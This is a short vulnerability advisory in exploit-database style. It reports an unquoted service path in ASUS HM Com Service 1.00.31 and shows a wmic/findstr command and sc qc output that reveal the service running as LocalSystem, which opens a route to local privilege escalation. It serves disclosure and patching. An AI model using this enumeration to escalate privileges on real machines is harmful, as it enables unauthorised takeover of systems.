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ASUS HM Com Service 1.00.31 - 'asHMComSvc' Unquoted Service Path


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# Exploit Title: ASUS HM Com Service 1.00.31 - 'asHMComSvc' Unquoted Service Path
# Date: 2019-11-16
# Exploit Author : Olimpia Saucedo
# Vendor Homepage: www.asus.com
# Version:  1.00.31
# Tested on: Windows 10 Pro x64  (but it should works on all windows version)
The application suffers from an unquoted service path issue impacting the service 'ASUS HM Com Service (aaHMSvc.exe)' related to the Asus Motherboard Utilities.
This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges.

>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

ASUS HM Com Service      asHmComSvc
C:\Program Files (x86)\ASUS\AAHM\1.00.31\aaHMSvc.exe

>sc qc "asHMComSvc"
[SC] QueryServiceConfig SUCCESS

        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\AAHM\1.00.31\aaHMSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ASUS HM Com Service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem
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